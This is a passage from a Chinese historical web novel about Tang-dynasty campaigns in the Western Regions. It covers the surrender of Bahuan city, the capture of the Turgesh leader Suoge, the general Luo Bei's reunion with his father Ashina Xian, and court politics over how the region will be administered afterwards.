“还好莫贺达干和苏禄帮忙,听说有机会到前线来,一天几次地主动请缨。又替我安顿了局面。我这才带着这两百牧民来了前线。” 洛北轻轻一笑:“这两个人倒是聪明。我去会会他们, 孝嵩,你还是去见见解大夫吧。” 张孝嵩哈哈大笑:“好啊, 我倒要问问解大夫,到底说了什么样的话,把你这个泰山崩于前而不改色的将军给唬得这么一惊一乍的。” 洛北来到帐中时,巴彦正不错眼珠地盯着苏禄和莫贺达干,盯得两人浑身不自在,看到洛北,才各自起身: “洛将军” “将军” “两位辛苦了,你们鼎力相助的事情,孝嵩已经和我说过了。”洛北笑道:“两位请坐。” 苏禄和莫贺达干见他面上带笑,言语坦荡,心中的惴惴不安已去了五分。两人对视一眼,还是苏禄以汉话开了口: “将军,我们听说张御史征召年四十以下,十六以上的牧民押运粮草来前线,想着拔换城中不少兵将都在我和莫贺达干的手下效过力,所以才自告奋勇而来。将军若蒙不弃,我这就给拔换城守将写信,劝他投降。” 莫贺达干汉话不如他流利,只点了点头:“我,我也写信。” 洛北见他们一口汉话说得磕磕绊绊,干脆改以突厥语说话:“两位将军若是能如此深明大义,真乃我大唐之幸。” 苏禄和莫贺达干都低头应了。洛北便让巴彦给他们找些纸笔。两人在对着白纸看了看,又不约而同地放下笔,望向洛北。 “怎么,还要我替你们代笔吗?”洛北环抱双臂,似乎是有些不耐烦。 莫贺达干终是按耐不住,赔笑道:“我们在碎叶城里的时候,和突厥的同俄特勤同居一院,听他说,他说您不仅是大唐的将军,还是还是他的族兄,默啜大汗的谋主乌特特勤。” “我确实是阿史那乌特,”洛北漫不经心地回答:“现在在伊逻卢城的北庭都护兼西突厥十姓可汗阿史那献将军,就是我的父亲。” “是这样。是这样。”莫贺达干面露笑容,立刻改了称呼,“想来此战之后,大唐必会让特勤在西域坐镇了?” 洛北知道他心里想着娑葛屁股下面的那把大汗的椅子,面上却不表: “战争没有结束,我还没心情考虑战后的事情。不过,娑葛主动冒犯大唐,罪不可免,我一定要把他押到长安天子驾前献俘。” 莫贺达干和苏禄脸上的笑容都更盛了,两人都埋头,一阵奋笔疾书不谈。洛北无意盯着他们写信,让巴彦派人盯着他们,就抽身去了帐外。 天色已经亮了,日光照在远处的雪山上,显出璀璨夺目的金色,拔换城头的突骑施士兵无精打采地依靠在城墙上。 洛北麾下的骑兵们按照惯例,在城墙四周游曳,往城中射入一封封劝降书信。唐军营地中,工匠们还在赶工攻城器械。 “洛北,你这招‘四面楚歌’玩得好啊,若无你一首笛曲分开突骑施军队的注意力,张孝嵩他们绝不可能过得如此轻易。” 郭元振从他身后转过来,开口与他搭话,见他一身月白绸袍,顿住话头,笑着调侃了他一句: “难得看你穿这样素净的颜色,看着不像一位将军,倒像是世家公子哥了。” 洛北轻轻一笑:“大帅说笑了。您不在帐中休息,怎么出来了?” “解大夫要和他的下属叙叙旧。我这个领兵将领,怎么能听监军们谈话呢?就避出来了。”郭元振伸了个懒腰,活动了一下筋骨,“七日之期就快到了,你想唤起他们的思乡之情,从而不战而屈人之兵,靠这两百个人,怕是做不到吧?” 洛北微微颔首: “实话说,大帅。我没有想过要把这两百个无辜的牧民放于人前。娑葛如今是困兽犹斗,看到这些无辜百姓,说不定会下出什么疯狂的命令。便是他不动手,突骑施的士兵也会怀疑这些人是不是被我们胁迫而来,起不到我们想要的效果。” “古来招降莫不如是。若不这样,你打算怎么做?普通的突骑施士兵可是不识字的,你那些文书是白做功夫。”郭元振好奇道。 他们说话之间,有个传令兵前来报告: “大帅,洛将军,营外有一队突骑施士兵前来投降!” “原来你打的是这个算盘,走,我们去见见。”郭元振笑着摆了摆手,同洛北一道迎了过去。 可和这些人一打照面,郭元振就失了兴致,来的不过是几个普通小兵,由一个队长领着,连个参将都算不上。 “洛北,这就是你的办法?看起来不太好用啊?”郭元振调侃道。 洛北却不在意,他改以突厥话问:“你们是什么人,叫什么名字?”他说完话,似乎是想起那些人不敢开口,又挥一挥手道:“现在是吃早饭的时候,你们都饿了吧,我带你们去吃点东西,吃饱了再说。” 营中正在烧早饭,跟着张孝嵩一路翻山越岭的那些突骑施牧民们,正各自忙着杀羊、烧汤、揉面、做饼。 这是普通牧民们过年才能吃上一顿的好东西。那几个士兵坐在桌边,一边胆怯地望着洛北,怕这是断头饭,一边又捱不住香气的诱惑,连喝了两大碗羊汤。 那领头的队长大口大口地咬着粗粮杂着野菜捏的饼子,好容易咽下去一个,才自我介绍起来。他们也姓突骑施,都是娑葛家族的远亲。 “既然如此,你们不是娑葛的嫡系么?为什么要过来?”洛北又把一只饼子掰开,递给他们一人一个。 “说是可汗……娑葛的远亲,其实离得太远了,家里也穷得什么都没有。”那队长不好意思地挠了挠头,“昨天晚上,不知道是谁吹笛子,都是家乡的曲子,吹得我们难过极了。您不知道,拔换城里断炊了一天了。我们实在是没有活路,又想家,才想着出来碰碰运气。” 他似乎是说到了伤心处,一边说话,一边拿手背抹眼泪:“娑葛也怕人叛逃,处处防守都加强了。我们没办法,找了个狗洞,爬出来的。” 洛北微微皱眉:“拔换城中断炊了?”拔换城可是堡垒,不该那么容易断炊才是。 “也不是断炊,粮草还有,倒要紧着马先喂啊。我们人,少吃一顿,就是一顿了。”队长狼吞虎咽地吃完半块饼子:“我能再来一块吗?” 洛北点了点头。大唐的军队遇到这样的事情,第一个是杀马,目的是固守待援。 但娑葛如今只有这么一座城池,也没有援军可以指望。他自然不能委屈战马,要是马没了,仗也就不用打了。 他正在沉思之间,那做饼子的突骑施大娘又拿着一叠饼子来了,见那几个人吃得狼吞虎咽,心里发疼:“怎么,都没吃好饭?我再做些,做得大些。” 中间有个一直埋头吃饭的青年,青年,听到这话,先是一愣,而后又猛然抬头往上看,一声:“阿娘!”就带着哭腔喊了出来。 随后一连两日,拔换城中不断有士兵前来投降。到了第七日清晨,拔换城守将把自己的副官派了出来。那人通过绳索,趁着夜色翻下城墙,带来一封亲笔信: “小人无意与大唐为敌,皆为娑葛命令,不得已而为之。恳请大唐高抬贵手饶过小人性命,小人愿以拔换城相献。” 解琬知道这是分化突骑施的最佳机会,当即答应:“我是大唐派来经略西域的御史解琬,我可以保证你和家人的安全。” 那日正午,拔换城开城投降。娑葛被自己绑到了郭元振大营之中。他黄色的头发乱得像蓬草一般,身体也瘦了许多,唯有一双眼睛不肯低下,直直地盯着帐中的这些“熟人”。 解琬第一个开口发问:“娑葛首领,你为什么要兵发安西?” “你们要杀就杀,哪来的那么多废话。”娑葛别过脸,不想看他,“我们父子都瞎了眼,相信你们唐人的鬼话,到了今天被人出卖,身死国破,是我们父子活该!” 郭元振微微皱眉,开口辩解道:“娑葛首领,若不是你兵发安西在先,大唐绝不会……” “我已经说过无数遍了,我发兵安西,是为了自保!”娑葛眼含热泪,语气中满是委屈:“我们突骑施人没有黄金,不能贿赂你们大唐的官员。就活该被灭国吗?” 他这控诉打得在场众人都不知如何开口。洛北当仁不让,拍案而起道: “可娑葛首领,你不要忘了,你现在是大唐的臣民,如遇不平,你应当向陛下上疏,应当向你的可汗北庭都护阿史那(献)将军陈情……” 他的话被娑葛愤怒地打断:“阿史那献一个流亡海外多年的犯人,他有什么功勋可以统治西域?!我的父亲被你们蒙骗……” 娑葛的声音被突如其来的一记重击压在喉咙中。他被重重地打翻在地,脑瓜子嗡嗡地作响,眼前一片迷蒙,什么都看不清。但一股蓬勃凛冽的杀意扑面而来,还是让他不寒而栗。 可是……大唐不是一般不杀“可汗”级别的俘虏的吗? 张孝嵩和郭元振一左一右地扯住洛北的手臂,暗暗在他背后,交换了一个眼神,这平日里不显山不露水的人发起怒来可也太恐怖了。 洛北冷静下来,示意他们松开自己,理了理身上的衣袍,厉声喝道: “突骑施·娑葛,你记住,今天我不杀你,是因为你的父亲曾跪在地上,求我饶你一命,保住你这一支的一点骨血。但你若再对阿史那将军不敬,休怪我不给他这个情面。” 出了这样的事情,解琬也没心情问了,他看向帐中的侍卫:“还愣着做什么?把他拉下去,好生看管起来!” 拔换城破,娑葛被擒,伊逻卢城的坚守也就失去了意义。城中守将立刻献城投降,把伊逻卢城交还给了大唐。 “北庭都护阿史那献将军写信来,说伊逻卢城是我安西衙署所在之地,他不好逾越处置,决定驻军城外,让我们派人去接手。” 郭元振拿着战报,脸上是掩饰不住的欣喜之色: “解大夫,我看洛北麾下骑兵最多,脚程最快,让他去如何?” 解琬沉思片刻:“他去可以,我有安抚西域之职,也当与阿史那献这位新封的西突厥十姓可汗碰面。我和他一道去吧。你和孝嵩安顿完拔换城的事务再来。” “哦?哈哈哈哈哈哈哈哈。”郭元振听了这话,忍不住发出一阵大笑,差点笑弯了腰。 解琬不明所以:“你笑什么?” “解大夫,你就算再勤于公事,也没必要在人家儿子见父亲的时候横插一杠子吧?” 解琬愣了一下,才反应过来:“哦,他们是父子……我都快把这茬忘了。” 郭元振正色道:“不错,你刚刚也看到了,虽说朝廷封阿史那献为西突厥十姓可汗,但西域诸部并不是人人信服,要不是洛北这位‘乌特特勤’的声望撑着,他这个‘可汗’是坐不稳的。” 郭元振望着信件,似乎又想起多年前在凉州,洛北接到阿史那献书信的那个晚上,那时洛北脸上复杂的表情,依旧深深地刻在他的脑海中: “但愿洛北此行顺利,他们父子之间的关系能够和解吧。” 第125章 “张御史,和我的这个孩子一道打仗,很不容易吧?” 鶄 一支羽箭自湛蓝的苍穹下飞过, “砰”的一声,直直地钉在百步开外的靶心上。 这是龟兹城外的春日时节,漫山遍野开满了不知名的小花。阿史那献的军队就驻扎在绿意盎然的天山山麓下, 春风拂过, 把写着“右骁卫大将军北庭都护阿史那氏”和象征西突厥十姓可汗的狼头纛吹得猎猎作响。 阿史那献射空了一支箭筒,伸手招呼两个仆役把木靶挪近些,看看自己的成绩。 那两个人一路小跑过去,取下羽箭,把木靶挪到他面前。箭孔密布在靶心偏左的位置, 与阿史那献的预期大不相符。 他摸了摸下颌的胡须:“怎么会偏这么多?”可他还没有想出个所以然来,思绪已经被飞驰而来的马蹄声打断了。战事已经结束,哪有这么着急的事情需要赶成这样? “可汗——”亲卫高声通报:“安西的洛将军前来求见!” 阿史那献是在昨日接到了郭元振的回信, 说会派洛北前来接手伊逻卢城的防卫。可拔换城离伊逻卢城尚有三日路程,洛北来得这么快,实在让他不敢相信。 他瞪大了双眼往那边望去, 洛北已然半跪在地, 单手抚肩,道了个突厥大礼:“伯克。” 阿史那献快步走过去,把他从地上扶了起来。一别三载,洛北又和他记忆里的那个长安少年不太一样了。 辗转千里、烈日飞沙、风霜雨雪, 让他眉眼越发深邃,鼻梁越发高挺, 显出与少年时代不同的冷峻气质,就好像一柄寒光闪闪的利刃。 唯有那双灼灼如金的眼眸望过来的时候,才能察觉到一点温暖。 阿史那献忍不住伸手摸了摸洛北的下颌, 几乎能摸到骨头的形状:“瘦了。” 洛北并不习惯和人这样亲密,花了点功夫才克制住自己没有躲开, 他有点不好意思地低下头:“伯克” 阿史那献难得见他局促,忍不住哈哈大笑,另找话题替他解了围: “原本以为你要两三日才到,还把箭靶都搬了出来,可惜怎么射都会左偏,你替我看看,如何?” 洛北点了点头,随他一起走到箭场里,伸手拿起那支长弓,在手中看了看:“大概是有一边重了些,稍稍修正就好。” 他从腰间抽出一把金刀,将弓的一角略削去些,又微微磋磨,将它打磨光滑,才双手递给阿史那献:“伯克请再试试。” 阿史那献依言引弓搭箭,一箭放出,正钉在靶心的位置,他点点头,连发数箭,像是漫不经心般地问起: “我听说你在碎叶城被人刺杀了?情况怎么样?” “这事情怎么伯克都知道了。突骑施的那个粟特人都督康孝哲,想要谋杀我,再挑起城中叛乱,我已经把他杀了。” 他顿一顿,又道:“这件事情也是我的不是。我不该图打仗方便就一直驻扎在城外,应当早点入城弹压当地的势……” 阿史那献轻轻一笑,把弓箭放在一边,望着洛北,开口打断了他的自责:“我是问你的伤口怎么样了?” “只是皮肉伤罢了,不碍事的。”洛北这才反应过来,忙道。 阿史那献不放心,抓过他的衣袖把他打量一番,见他一切如常,才稍微放下一点心。他指了指营帐的方向,示意洛北与他同行: “草原上的消息传得比你想象的快。我还在庭州的时候,就已有牧民们把你大破阿史那匍俱的故事编成了歌来唱。以一万破五万,还收回了多逻斯水和金山的广袤土地,真了不起啊,只怕也很辛苦吧?” “全赖将士用命,诸部支持,我这个主帅,辛苦些是应该的。” 洛北说着,从袖中抽出一本花名册,郑重其事地捧到阿史那献手上: “伯克借我的两千兵马,都在这里了。我仔细统计过,阵亡者三百八十二人,伤病者六百一十七人,除了伤病员我把他们留在碎叶城修养外,其余众人我都带来了,还请伯克点阅。” 阿史那献有点错愕地回身望着他。 洛北惭愧地低下头,不敢与他的目光对视:“阵亡和伤病员的抚恤我都已经备下,除此之外,我与监军御史张孝嵩也已联名上奏为将士们请功。” 阿史那献点了点头:“我知道了。”他接过花名册,也依样把册子塞进袖中:“郭都护说,他请张御史与你一道来接收伊逻卢城,怎么只有你来了,他呢?” 洛北道:“孝嵩说,他已经厌倦了骑马飞奔,叫我率先赶来,与伯克见面。他自己放慢脚步,赏过了西域春日的美景再来。” 张孝嵩正在一片如云的杏花林中欣赏春景,见到阿史那献和洛北一道赶来还有些惊讶。 他忙着上前向阿史那献道礼:“可汗殿下。”心里却不由得好奇,他特意留些时间给这对父子叙旧,怎么这么快就找来了? 阿史那献笑着扶他起身:“张御史多礼了。你是洛北的朋友,我就把你看作自家的子侄。张御史,和我的这个孩子一道打仗,很不容易吧?” 阿史那献比张孝嵩想象的还要年轻一些,他面容端正,眉眼俊美,身形健壮,和那些久在朝中禁军里混事的突厥贵胄截然不同。 张孝嵩被他这一句话逗得笑了起来:“可汗殿下说笑了。洛将军治军严谨,为人持正,外兼用兵如神,是不可多得的主帅。就是有时候嘛,未免不顾惜自己了一些。我作为监军御史,总是提心吊胆啊。” 洛北忍不住在阿史那献身后瞪了一眼张孝嵩:“孝嵩。” 似乎是察觉到他的小动作,阿史那献笑了:“我的这个孩子年少掌军,虽说难得用兵如神,锐不可当,但总是缺了一点周全。我在此,谢过张御史的照拂了。” 他说着真要躬身道礼,张孝嵩哪里敢当,他连忙摆手:“可汗殿下太客气了。且不说我和洛北是朋友,就是以主帅和监军的身份,这也是我分内之事。” 伊逻卢城规模宏大,城外都是丰硕的田野,值此春耕时节,不少百姓都在田中劳作。山坡上果园密布,开满了杏花和梨花。 只有数棵焦黑的树干和深埋在土中的断刀残枪,才让人想起此地数日之前有过那样惨烈的战事。 他们三人带领安西北庭的兵马入城驻扎,立刻在城中引起一阵轰动,暂时代行城内事务的龟兹王子白莫苾忙跪地出迎。 “王子!”阿史那献跳下马,伸手虚扶了一把白莫苾,“这就是我同你说起的,安西都护府前来接手伊逻卢城的洛北洛将军与张御史。” 白莫苾一听到洛北的名字,激动得双目放光: “是那位雪夜奔袭,击破突骑施牙帐的洛将军吗?将军击溃阿史那匍俱,逼降娑葛的事迹,西域都传遍了。小人真是幸运,竟能得见将军真容。” 他激动得抓住了洛北的双手就不肯放开,用语速越来越快的带着吐火罗语腔调的汉话诉说着自己的敬意。 洛北凝神听了半晌,才从他那一串语句里抓出几个关键词,拼凑出他这样行事的原因: 这位龟兹王子白莫苾是阿史那献攻入伊逻卢城之后,从地牢里捞出来的——他的父王在城破的第一日就被突骑施大军所杀。故而他看到洛北这位击破突骑施牙帐的将军才会分外激动。 白莫苾絮絮叨叨地说了一会儿,直到阿史那献轻轻咳了一声,提醒他太过失态,他才猛然惊醒过来,又是道歉,又是赔笑: “阿史那都护、张御史、洛将军,三位不要见怪,我是……是劫后余生,太过激动了些。请三位随我到龟兹王宫和安西衙署接收一应文件和材料。“ 他顿一顿,又按耐不住自己激动的语调, “晚上我已命人在王宫摆下宴席,请城中有头有脸的人物都来作陪,还要请三位赏脸参加。” 三人都应下了。张孝嵩不免又叮嘱一句:“如今战乱刚过,我三人于宴饮上也无所在意,还请王子不要太铺张了。” 可夜幕降临,他们三人从安西衙署移步到龟兹王宫赴宴的时候,还是被眼前的富贵景象吓了一跳。 金碧辉煌的宫殿中,丝竹之声不绝于耳,舞女们身着绚丽的服饰,随着音乐的节奏翩翩起舞,她们的舞姿轻盈如燕,裙摆飞扬,如同一朵朵盛开的鲜花。 宴会大厅内,长桌上摆满了各式各样的美味佳肴,葡萄酒盛在水晶杯中,端的是香气四溢,令人垂涎欲滴。 白莫苾一身素服,只是头戴金冠,腰间系着镶嵌着宝石的腰带,见到三人一起入场,忙出来迎接:“简薄了,实在是简薄了,还请三位不要介意。” 张孝嵩忍不住和洛北在阿史那献身后嘀咕了一句:“若说这样还叫简薄,我们在碎叶城吃的那些简直就是不堪入目了。” 洛北轻轻一笑:“龟兹是丝路要地,也是乐舞与佛学汇聚之地,崛起已有千年之久。自然比王方翼将军新铸的碎叶城要繁华许多。” 他们刚刚说完,白莫苾就已经举起酒杯,以汉话说一篇长长的祝酒词。 他的祝酒词写得像汉人的书生们那样工整严谨,言辞华美。只是辛苦了不少上了年纪的城中长老,要高举一只水晶酒杯听完他的长篇大论。 自第一杯酒下肚,三人面前敬酒的队伍就没停下过,台上翩然起舞的龟兹舞女、桌上的美味佳肴都已成了酒水的陪衬。 阿史那献第一个败下阵来,想要坐下的时候,差点从椅子上摔倒下来。 “伯克!”洛北忙拉了阿史那献一把。他和张孝嵩颇有默契地交换了个眼神,便扶着阿史那献出去了。 一出王宫之外,带着点寒气的春风就把他们身上的酒气和脂粉气都吹散了。洛北扶着阿史那献走下台阶,自侧门出城,一路走到城外的山间。 一轮明月,正冉冉地升起于不远处的雪山之上。阿史那献寻了个平坦的石头坐下,洛北便就近坐在他身侧的地上: “伯克有话要对我说?” 第126章 “这些年,你一个人,过得很辛苦吧?” “谈不上有什么正式的话要说。” 阿史那献笑了, 他笑起来的时候眉眼弯弯,很容易从他的面容上捕捉到洛北容貌的母本: “我只是想问问你,你本来腰间挂着的那把唐刀哪里去了?” 洛北低垂眉眼, 正在想怎么答话。阿史那献的目光已经望了过来, 那是长辈对晚辈才有的好奇和审视。 他不由得低下头,避开阿史那献的目光:“在灵州的时候,被阙特勤夺走了。” “阙特勤?默啜的侄子阙特勤?” “是。”洛北便只得从头说了一遍此事原委,他说阙特勤战场被俘,又说起沙吒忠义的荒唐行径, 说得阿史那献直皱眉。 洛北特意跳过了自己与阙特勤商量的过程不说,一路说到阙特勤逃出生天,才作结: “其实, 我手上那把陨铁唐刀,本就是天可汗赐予东突厥的突利可汗的信物。如今回到阙特勤手中,也算天意。” 阿史那献听得若有所思: “能从你和哥舒亶的手上逃出生天, 阙特勤不愧为突厥第一勇士。” 洛北点了点头:“据我所知, 阙特勤如今正在东面平定契丹叛乱。我想,等他得胜归来,默啜一定会把他派到西域来对付我们。” 他说这句话的时候,似乎有一种很沉闷的东西沉在心底, 说不好是遗憾还是悲伤。 阿史那献听得出他心绪复杂,转过头去, 却见洛北神色平静,正望着远方月到中天,月华满山。 月光皎洁, 给他的身形镀上一层银辉。 忽然之间,阿史那献很想问他: “这些年, 你一个人,过得很辛苦吧?” 他不是解琬、郭元振那些出身中原的汉人官僚,他是生在长安,长在草原上的突厥王子,知道草原上那一套规则是怎么样运作的。 一个除了“阿史那”这个姓氏什么都没有的少年,是怎么在吃人不吐骨头的突厥牙帐里活下来的,又是怎么变成名扬西域的“乌特特勤”的……他连想都不敢想。 但他终是没有问出口,他怕他问了,得到的也只会是一句“都过去了,伯克,请您不要为过去的事情自苦了。” 从他带人在洛水驿站救下洛北那日起,到他受父亲的冤案牵连被流放崖州,满打满算,也就是五年多的时光。 他没有学会怎么当好一个父亲,又怎么能忍心逼洛北做一个事事与父亲交心的儿子? 阿史那献顿了顿,才道:“我听说,乌特特勤和阙特勤是突厥汗国年轻一代中最优秀的。你和阙特勤是朋友?” 洛北听到这句话,便知道阿史那献已经猜到那惊心动魄的“挟持出逃”中的猫腻。他点了点头,极为郑重地说: “是,伯克。我们是一个牙帐里长大的兄弟。” 和自己的挚友刀兵相对,生死相搏,恐怕不是个很快乐的回忆……阿史那献刹住话头,将腰间那柄唐刀重新解下,递给他:“这把刀,还是你收着吧。” “伯克,这是天可汗赐给西突厥可汗阿史那弥射的信物,您如今是西突厥十姓可汗,也是弥射曾祖父的子孙……我怎么能……” 阿史那献摆了摆手,止住了他的话:“当时绥子哥哥是把它交给了你,不是我,更何况,你坐镇西域,应当有个趁手的兵刃。” 他见洛北还是不接,又道: “你还没明白吗?这一仗打完,朝廷无论如何都不会让郭元振再留在西域,也不会让我继续兼任北庭都护。郭都护大概会继任宗楚客留下的那个兵部尚书的位置。而我嘛……光我们家在昆陵都护府被你收回的旧地和部族,就够我忙一阵子的。” 洛北顿时明白了他的意思——他和郭元振各自从都护位置上离任,不论是谁接任,安西和北庭都将一阵混乱无序的交接期。若是吐蕃或突厥攻其不备,便又会造成一场战争。 而能平定这个乱局的,除了他洛北之外不作第二人想。 “是,伯克。” 洛北半跪在地,从他手中接过唐刀。寒凉的刀柄一入他的手中,立刻激起一阵熟悉的感觉。他重新将唐刀挂回腰间,一阵春风吹来,刀把与蹀躞带上系着的挂囊相碰,发出一声脆响。 “伯克,夜深了,天也冷了,我扶您下去吧?”洛北试探性地伸出手去扶阿史那献的肩膀,却被他打了个挥开的手势。 阿史那献道:“等一等,我还有样东西要给你。”他说罢,从袖中把白天洛北交给他的那本花名册又拿了出来: “喏,这个。其实,北庭的兵马皆有军籍,也有朝廷指挥,调进调出的手续太多。那两千兵马都我是从自己的部族和近卫中挑出来了给你的。父子之间,就无所谓什么借或不借,还或不还了。” 洛北知道他调来的都是精锐骑兵,却没想到他是从自己的家底里拿出来的——两千精骑得来何其不易?不少草原可汗起家时也没有这么多兵马。 “伯克,这我怎么能要……” “我知道你现在不缺兵马,但这两千人的身家清白,大部分都是兴昔亡部族的子弟……他们对你是有忠心的。可以保护你的安全。” 阿史那献怕气氛太过沉闷,刻意调笑了一句: “我可是听说了,默啜悬赏万金要你的脑袋,不小心可不行啊。” 可洛北还是不肯接受,他正要开口再度推辞。 阿史那献干脆起身,没有给他开口的时间:“好了,就这样定了……不过我有两件事情,还要你帮我去做。” 洛北这才抬起头来望着他:“请伯克吩咐。” “第一件事是拜山。我西突厥旧俗,每逢十五要率各部首领往金山祭拜山神与祖先。不过自金山落入默啜手中,这个习俗就没有了。如今你既然收回了多逻斯水和金山,我会上奏朝廷,请朝廷准许我征召西突厥各部的首领,前往金山拜山,让你带兵随行。” 洛北点了点头:“若朝廷同意,我求之不得。” “第二件事就是出发之前,你要随我去一趟北庭。”阿史那献点了点他手中的花名册,“这些抚恤,你要代我挨家挨户地发下去。” 这是给他机会建立声望了。洛北望着阿史那献,一时之间竟不知说什么是好,他喊了一声: “伯克,您何必……我要怎么报答呢?” 声音已经带着哽咽。 似乎已把事情交代完毕,阿史那献面上的神情也轻松不少,他哈哈一笑:“你要真想报答,就把我背下山,如何?免得龟兹城的那些达官贵人们看着我们父子装醉逃席的模样。” 洛北半蹲下身,把他背在背上:“您就算不给我兵马,我也会把您背下去的……” “我们是父子,分什么你我。这样的话以后不许再说。”阿史那献挥了挥手,“重吗?能背得动吗?“ “背得动……伯克。”洛北低头应了。两人一路静默,走下山时,天已微明。 洛北想问问阿史那献是直接回军营还是回城中,却发现他已经靠在自己背上睡着了——看来那些葡萄烧酒,多少还是让他有了点醉意。他没办法,只得把阿史那献背回安西衙署中去休息。 张孝嵩瞪着一双因熬夜饮酒而累得通红的眼睛,正在那里洗漱,见他安顿完阿史那献出来,笑道: “我现在是知道你这装醉逃席的本事都是和谁学的了。大晚上的,两位到什么地方夜谈去了?” 洛北也在他身边的井中打了盆水,拿剥了皮的柳树枝沾了点牙粉:“山上。” “去了这么久,看来聊得还不够愉快。”张孝嵩吐掉一口水,拿面巾擦了擦脸,“我说,你们到底有什么过不去的事?这么长时间了都不能把心结散开吗?” 洛北不想和他聊起此事,也不知道自己为什么固执、别扭地恪守着和阿史那献之间的距离。 他可以从容地应付默啜的疑心,与郭元振上下相得,可以得到魏元忠的信任,甚至可以用一场谈话就打消李显对五王的怀疑……但他就是不能像儿子对父亲那样地与阿史那献相处。 他吐掉一口水,也拿面巾洗了洗脸:“孝嵩,我的家事好像不在你这个监军御史的管辖范围之内吧?” “怎么不在?”张孝嵩笑道,“你不知道,昨天晚上白莫苾喝得高兴,当场就说要把自己的妹妹嫁给你,托我这个监军御史来做媒。被我一口就给回绝了,我说你心系国事,无心私情……不然你今天还能这么从容地站在这里吗?” “那我可真是要多谢孝嵩了。”洛北揉了揉自己的眼睛,“郭都护什么时候来龟兹城?让王子殿下缠着他和解大夫去吧。” “说是一日后到。”张孝嵩在他身后的台阶上坐了下来:“在他们来之前,有个事情我要和你通个气。” “什么事?” 张孝嵩见他坦荡,自己也不遮掩:“对于突骑施后续的处置,你是怎么打算的?” 第127章 “你跟我一起回长安吧。三年前魏元忠没给你的那个兵部侍郎的职位,我给你!” “我打算废掉乌质勒这支汗系。” 此事洛北早已有了计量, 此刻不过是把自己深思熟虑后的结论和盘托出,因而说起来时,分外胸有成竹: “突骑施下分黑黄两姓, 两姓素来不和。乌质勒在时, 能宽仁待人,用心安抚,加上外部又有阿史那匍俱这个共同的敌人,两姓方能和睦相处。” “可是,如今娑葛打了这么大一场败仗, 丢了许多牧场、金银和牛羊。两姓必然不能再听命于娑葛,倒不如从两姓中各择一位首领,命他们各自处理本部事务, 由西突厥十姓可汗统领。” 张孝嵩拊掌一笑:“不错,这样一来,不论两部谁当家, 都不能再聚集起来今日娑葛这样的兵马规模, 更不能威胁大唐在安西的统治。明日等解大夫、郭都护来。我们一道去向他们禀报。想必他们也会同意的。” 洛北轻轻摇了摇头:“孝嵩,要是想让他们同意这个办法,你禀报的时候,就要删掉一句话。” “什么话?”张孝嵩问。 “‘由西突厥十姓可汗统领。’” 张孝嵩望着他郑而重之的神情, 心里也不由得一沉: 西突厥故地只有阿史那献这么一位外蕃领袖,突骑施部又素来是兴昔亡可汗家族的下属。就算张孝嵩和洛北不提议, 这两部也会被朝廷划归在阿史那献手下。但洛北如此谨慎,原因只有一个—— “你担心他们忌惮你?” “我要是当上司,手下有这么一个不听号令的下属, 也会忌惮的。”洛北笑道,“别忘了, 我私自从于阗出兵的责任,现在还在郭都护的头上呐。” “现在这还能叫责任吗?”张孝嵩也忍不住笑起来,“料敌于先,运筹帷幄,朝廷定然会大大地嘉奖郭都护。” 话是这样说,但当郭元振和解琬真的就突骑施后续的处置询问张孝嵩的意见时,他还是依照洛北嘱咐的那样,删掉了那半句话。 解琬兀自坐在那里思索着这法子的可行性。郭元振却已敲了敲桌子:“你和洛北通过气了?” 张孝嵩不好回答,只好低着头,沉默不语。 郭元振也不拆穿,起身抓了外袍:“罢了,你不好出卖朋友,我去找他问问。他在哪里?” 一只金雕翱翔展开双翼,翱翔在成片的森林草场之上,身后是连绵起伏的巍峨雪山。自雪山奔流而下的数条河流在山麓形成数个绿洲湿地,滋养着数万百姓。 洛北纵马于这无边绿意上驰骋,春风把他的衣袍吹得鼓起,就像是色彩斑澜的羽翼。 “洛北!”郭元振从远处喊他的名字。 洛北顿住马蹄,等着郭元振从后面追上来: “安西衙署和突骑施的那么多事情要处理,你倒是会躲清闲,都躲到城外来了。”郭元振伸出手指点了点他,“我听了张孝嵩的汇报,他和你通过气吧?不然怎么没头没尾地说什么分治黑黄之类的话,还没说这两姓要归谁统辖……” 洛北见他拆穿,也不隐瞒,只是点了点头。 郭元振冷笑了一声;“现在想起来避嫌了?带兵马驰骋西域的时候,你就没想过今天?” “当然想过。”洛北无奈地叹了口气,目光望着更加悠远的地方,“但人世间许多事,本就是知不可为而为之。大帅……如果我不这样做,这场仗还要多久才能打完?” 这是个没人知道答案的问题,一年?两年? 或许只有等到朝廷向娑葛低头,或是有一方在不断地拼杀之中流尽了血,这场战争才有真正结束的可能。 郭元振自己也受这战事牵连,没有责怪他的立场,只轻轻呼出一口气:“战争的事情我不追究了。但我听说,可汗殿下和我说,要遍召西突厥旧部前往金山拜山,要你带兵护送?” “是。” 郭元振没有想到他答应得如此爽快,忍不住往他那边看了一眼,但见洛北眼眸明亮,神情坦荡,不由得微微勾起唇角: “你去可以,我不会拦你,但你回来之后,要同我一道回长安献俘。” 洛北略一沉吟,已经明白了郭元振的言外之意:“大帅不希望我再留在西域?” 郭元振点了点头,心说: “一个当父亲的握着北庭兵马,一个当儿子的握着安西军队……偏偏两个人还都姓‘阿史那’,就算你们两个人忠贞报国,你们身边也一定有人不断撺掇你们‘恢复像大地一样宽广,像海一样广阔的大突厥汗国。’我怎么敢把大唐的边塞安全系在你们的忠心上?人心,那是天底下最不可靠的东西!” 但当着洛北的面,他还是温言道:“朝中已经有人给我传信来了,说圣上对这次大胜分外满意。希望我回朝担任兵部尚书,并入政事堂参知政事。” 洛北点了点头,心中却在想:看来他这位老上级在朝中的靠山势力不小——入政事堂便是入阁拜相,便是当年功勋卓著如裴行俭、苏定方等人,都没能有这样的殊荣。 “你跟我一起回长安吧。三年前魏元忠没给你的那个兵部侍郎的职位,我给你!”郭元振斩钉截铁地道,“还有什么要求,你尽管提……便是要找个五姓女来当妻子,我也豁出脸去帮你看了。” 郭元振也出身太原郭氏,知道世家大族之间门第何其森严,要给洛北这么个无根无基的人谋划着迎娶个高门大户的女子可不是个容易事。 他能把这句话半开玩笑半认真地说了出来,可见其诚意之大。 洛北哈哈一笑:“突厥未灭,何以家为?大帅说这个话太早了点。” 郭元振见他打太极,一双眼睛又望了过来:“你只要告诉我,你去或不去就可以了。” 洛北心知郭元振是想拿高官厚禄换他手中的兵马,此刻干脆单刀直入,把话说开了: “大帅不必担心我会屯兵碎叶,图谋不轨……我草原诸部,素来是一旦有战,则临时征召各部应战。在孝嵩前来伊逻卢城之前,我已经命各部首领把他们的部族和兵马带回牧场了。至于去长安献俘……既然大帅希望我去,我自然跟从。” 